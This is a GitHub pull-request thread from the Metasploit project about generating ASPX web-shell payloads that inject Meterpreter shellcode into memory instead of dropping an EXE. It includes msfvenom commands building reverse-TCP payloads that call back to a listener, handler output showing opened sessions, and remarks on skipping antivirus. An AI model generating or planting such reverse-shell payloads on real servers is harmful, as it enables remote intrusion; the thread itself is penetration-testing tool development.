Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ASPX writes to file rather than straight to memory? #2130

Closed
wants to merge 8 commits into from

Conversation

Meatballs1
Copy link
Contributor

Is there a reason we are writing a PE to a file when we could be injecting into memory as per:

#1156

@mandreko
Copy link
Contributor

mandreko commented Aug 9, 2013

I tried the same thing when I wrote the original aspx encoder. I had done memory injection in c# a while ago (http://www.mattandreko.com/2012/02/23/using-net-to-bypass-av/) but could not get IIS to actually execute it, where it worked fine as a standalone .exe.

I generated an aspx payload from the master branch using the following command:

mandreko$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=4444 -f aspx > met_old.aspx

When executed, I got a meterpreter:

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.136:4444
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.1.104
[*] Meterpreter session 1 opened (192.168.1.136:4444 -> 192.168.1.104:49161) at 2013-08-09 17:30:00 -0400

I then checked out your branch, and did similarly:

mandreko$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=4444 -f aspx > met_memory.aspx

However, I got no shell. I do get 2 errors in my event log:

Faulting application name: w3wp.exe, version: 7.5.7601.17514, time stamp: 0x4ce7afa2
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc000001d
Fault offset: 0x0000000000f60006
Faulting process id: 0x388
Faulting application start time: 0x01ce95483dc1d056
Faulting application path: c:\windows\system32\inetsrv\w3wp.exe
Faulting module path: unknown
Report Id: 7c3b10c8-013b-11e3-8707-000c292c5362

and

Windows cannot access the file  for one of the following reasons: there is a problem with the network connection, the disk that the file is stored on, or the storage drivers installed on this computer; or the disk is missing. Windows closed the program IIS Worker Process because of this error.

Program: IIS Worker Process
File: 

The error value is listed in the Additional Data section.
User Action
1. Open the file again. This situation might be a temporary problem that corrects itself when the program runs again.
2. If the file still cannot be accessed and
    - It is on the network, your network administrator should verify that there is not a problem with the network and that the server can be contacted.
    - It is on a removable disk, for example, a floppy disk or CD-ROM, verify that the disk is fully inserted into the computer.
3. Check and repair the file system by running CHKDSK. To run CHKDSK, click Start, click Run, type CMD, and then click OK. At the command prompt, type CHKDSK /F, and then press ENTER.
4. If the problem persists, restore the file from a backup copy.
5. Determine whether other files on the same disk can be opened. If not, the disk might be damaged. If it is a hard disk, contact your administrator or computer hardware vendor for further assistance.

Additional Data
Error value: 00000000
Disk type: 0

I tested using Windows 2008 R2 x64. Do you get different results? I'd LOVE to see in-memory loading of aspx pages. I'm available on IRC under the name 'hostess' typically as well if you want to work through it.

@mandreko
Copy link
Contributor

mandreko commented Aug 9, 2013

So on Windows 2008 R2 x64, it requires a x64/meterpreter to work, but it does work.

mandreko$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=4444 -f aspx > met_memory_x64.aspx
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.136
lhost => 192.168.1.136
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.136:4444
[*] Starting the payload handler...
[*] Sending stage (951296 bytes) to 192.168.1.104
[*] Meterpreter session 2 opened (192.168.1.136:4444 -> 192.168.1.104:49163) at 2013-08-09 17:40:06 -0400

Looks like that works just fine, you just have to remember what architecture you're running! derp. Now you have me wondering what I was missing last year...
[EDIT: Maybe I was being held up on trying to make it work in .net 1.0?]

@mandreko
Copy link
Contributor

I just used this on an engagement, and it's totally awesome. Worked like a charm.

@jvazquez-r7
Copy link
Contributor

Starting with review here!

@jvazquez-r7
Copy link
Contributor

There are two modules using Msf::Util::EXE.to_exe_aspx. Are the next ones, and there is the use they do of the changed function:

  • exploits/windows/http/avaya_ccr_imageupload_exec.rb
        # Generate the ASPX containing the EXE containing the payload
        exe = generate_payload_exe
        aspx = Msf::Util::EXE.to_exe_aspx(exe)
  • exploits/windows/http/umbraco_upload_aspx.rb
        # Generate the ASPX containing the EXE containing the payload
        exe = generate_payload_exe
        aspx = Msf::Util::EXE.to_exe_aspx(exe)

I guess with the current modules should be modified to make something like:

        # Generate the ASPX containing the EXE containing the payload
        aspx = Msf::Util::EXE.to_exe_aspx(payload.encoded)

Am I wrong? Maybe I'm forgetting something but looks like the current modules should be modified with this pull request to avoid them stop working if it is landed.

On the other hand, the existing modules affected for the modification should be re-tested to be sure they continue working after changes. Any testing has been done?

Finally, this code is awesome :) executing the payload from memory is a nice feature! But I feel like Msf::Util::EXE.to_exe_aspx isn't the place to put this code. Since the aspx isn't dropping an EXE anymore I have the feeling this code should be included in another place.

BTW, While reviewing, I've also the feeling which to_win32pe_psh_net and to_win32pe_psh are confusing, because they are not embedding and dropping a win32pe, but putting code directly on memory and executing it... So the function names are not well described, and maybe the Msf::Util::EXE class isn't the place neither.... just saying in case someone ask me haha :)

@Meatballs1
Copy link
Contributor Author

@mandreko Glad you had some luck with it :) All .NET injection requires the correct architecture - that issue also applies to current powershell techniques as that uses .NET framework for injection.

@jvazquez-r7:

I didn't try this with existing modules (guess would need to check if they use filedropper or do cleanup too). Just with msfvenom.

The Msf::Util::Exe library really needs refactoring in general (but is a larger job):

  • We should import template files rather than have them all written out as Ruby strings.
  • The name isn't fit for purpose as its generates DLLs, PSH, VBS etc.
  • The file is getting rather large

Instead of replacing the exe method I could add a second method for in-memory aspx generation and modify msfvenom to point to this rather than the existing method. This would reduce the testing burden and leave both techniques available for module authors. I expect the majority of people using the .aspx file generated by msf is for manual upload via ftp/file upload vulns/sqlinjection file writes rather than module use.

@jvazquez-r7
Copy link
Contributor

@Meatballs1 , agree, full check of the modules using a changed method should be done.

"Instead of replacing the exe method I could add a second method for in-memory aspx generation and modify msfvenom to point to this rather than the existing method" => Totally agree, since the current method is being used by modules, and still could be useful, maybe, in some situation, I think adding the new method as a new feature would be better.

Also I would love to listen some discussion about the place where to add this new method/feature. While Msf::Util::EXE is the easy place, I'm not sure if semantically is the best option, there isn't exe involved anymore, but you're generating an ASPX piece of code to put an arbitrary sequence of bytes in memory and execute them through a new thread... Maybe a new class into rex ?? not sure if there isn't a suitable place into rex already...

@Meatballs1 Meatballs1 mentioned this pull request Aug 25, 2013
@jlee-r7
Copy link
Contributor

jlee-r7 commented Aug 28, 2013

I disagree with @jvazquez-r7 here that it should be a new method. If it works in all the same places as the previous method, I see no reason to keep an inferior version around.

@mandreko
Copy link
Contributor

As long as it works with the umbraco_upload_aspx and avaya_ccr_imageupload_exec, I'd agree. My original aspx encoder is inferior, due to the file dropping. I don't really see much of a scenario where it'd be used but an in-memory one wouldn't.

It's just getting those 2 tested...

@jvazquez-r7
Copy link
Contributor

If @jlee-r7 feels comfortable with the change then it's okey for me. I guess all which should be done is test (modify if necessary) exploits/windows/http/avaya_ccr_imageupload_exec.rb and exploits/windows/http/umbraco_upload_aspx.rb to ensure they work still after the modification.

@Meatballs1
Copy link
Contributor Author

@jvazquez-r7 Do you have environments for Avaya and umbraco available? I haven't looked at those exploits to see how difficult they are to obtain/setup yet... I will wait for some of the incoming changes to Util::Exe anyway and update this as a template file

@jlee-r7 I actually can think of a good reason to keep the EXE dropping technique - it can be Architecture agnostic. .NET memory injection requires the correct architecture which the user may not know ahead of time.

@jvazquez-r7
Copy link
Contributor

@Meatballs1 No I haven't environments for them anymore :\ If you can't find the applications ping me, maybe I've installers saved around! (I can't promise!)

@Meatballs1
Copy link
Contributor Author

Aww I imagined you guys had a nice datastore with a ton of VMs so you could regression test some exploits :)

@Meatballs1
Copy link
Contributor Author

As I can see a use for aspx-exe (if you don't know arch and have a nice exe that skips AV) I've left it in for now and left the existing modules as they are.

@jlee-r7 's RandomIdGen is pretty neat, if it could be treated as a hash you wouldn't even have to initialize the values except the ones that depend on each other (e.g. shellcode -> byte array name).

tabassassin added a commit to tabassassin/metasploit-framework that referenced this pull request Sep 5, 2013
# Returns the @value_by_name hash
#
# @return [hash]
def get_hash
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should probably be to_h to match Ruby conventions.

rig.init_var(:var_threadId)
rig.init_var(:var_bytearray)

rig.store(:shellcode, Rex::Text.to_csharp(code, 100, rig.init_var(:var_bytearray)))
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We discussed this in IRC. I still don't like using store this way, as it is a totally different meaning from what RIG was designed for. Why not something like this instead:

rig.init_var(:var_bytearray)
hash_sub = rig.to_h
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
return read_replace_script_template("to_mem.aspx.template", hash_sub)

@jlee-r7
Copy link
Contributor

jlee-r7 commented Sep 14, 2013

Wait, did you make additional changes in the merge commit when merging master? This looks super weird.

@Meatballs1
Copy link
Contributor Author

@jlee-r7 Yes I merged and made changes - there were conflicts in the file anyway. I no longer use the store technique so hopefully you are happy for this to be an example method going forwards?

@jlee-r7
Copy link
Contributor

jlee-r7 commented Sep 18, 2013

Never, ever, under any circumstances should you make additional changes in a merge commit.

@Meatballs1
Copy link
Contributor Author

Even if said merge commit breaks functionality? I'll create new pr

@Meatballs1
Copy link
Contributor Author

#2396

@Meatballs1 Meatballs1 closed this Sep 19, 2013
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants